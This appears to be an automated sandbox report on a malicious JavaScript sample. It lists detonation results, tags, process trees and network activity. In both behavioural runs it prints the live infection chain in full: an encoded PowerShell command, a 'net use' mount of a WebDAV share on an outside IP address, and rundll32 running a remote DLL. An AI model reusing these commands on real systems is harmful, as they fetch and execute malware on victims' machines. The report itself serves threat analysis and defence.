Malware Analysis Report

2025-08-06 02:47

Sample ID 241031-dh5b6sybqe
Target 31102024_0301_1191525717354510418.js.zip
SHA256 017d81f43f24c5cf3d57d60cdc1e937f4d64c65bda02758042c7455d4db2312c
Tags
defense_evasion execution
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

017d81f43f24c5cf3d57d60cdc1e937f4d64c65bda02758042c7455d4db2312c

Threat Level: Shows suspicious behavior

The file 31102024_0301_1191525717354510418.js.zip was found to be: Shows suspicious behavior.

Malicious Activity Summary

defense_evasion execution

Checks computer location settings

Obfuscated Files or Information: Command Obfuscation

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-31 03:01

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-31 03:01

Reported

2024-10-31 03:07

Platform

win7-20240903-en

Max time kernel

121s

Max time network

122s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\1191525717354510418.js

Signatures

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Command and Scripting Interpreter: JavaScript

execution

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\1191525717354510418.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADkAMwAzADUAMQA1ADEANAAzADEANAA0ADEAMQAuAGQAbABsACwARQBuAHQAcgB5AA==

C:\Windows\system32\net.exe

"C:\Windows\system32\net.exe" use \\94.159.113.82@8888\davwwwroot\

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" \\94.159.113.82@8888\davwwwroot\193351514314411.dll Entry

Network

N/A

Files

memory/268-4-0x000007FEF5ACE000-0x000007FEF5ACF000-memory.dmp

memory/268-5-0x000000001B690000-0x000000001B972000-memory.dmp

memory/268-7-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

memory/268-6-0x0000000001D30000-0x0000000001D38000-memory.dmp

memory/268-8-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

memory/268-9-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

memory/268-10-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

memory/268-11-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

memory/268-12-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-31 03:01

Reported

2024-10-31 03:07

Platform

win10v2004-20241007-en

Max time kernel

130s

Max time network

207s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\1191525717354510418.js

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\1191525717354510418.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADkAMwAzADUAMQA1ADEANAAzADEANAA0ADEAMQAuAGQAbABsACwARQBuAHQAcgB5AA==

C:\Windows\system32\net.exe

"C:\Windows\system32\net.exe" use \\94.159.113.82@8888\davwwwroot\

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" \\94.159.113.82@8888\davwwwroot\193351514314411.dll,Entry

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 71.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 udp

Files

memory/4540-0-0x00007FFBFD203000-0x00007FFBFD205000-memory.dmp

memory/4540-1-0x00000286CBE70000-0x00000286CBE92000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sif1f1y1.s2j.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4540-14-0x00007FFBFD200000-0x00007FFBFDCC1000-memory.dmp

memory/4540-15-0x00007FFBFD200000-0x00007FFBFDCC1000-memory.dmp

memory/4540-11-0x00007FFBFD200000-0x00007FFBFDCC1000-memory.dmp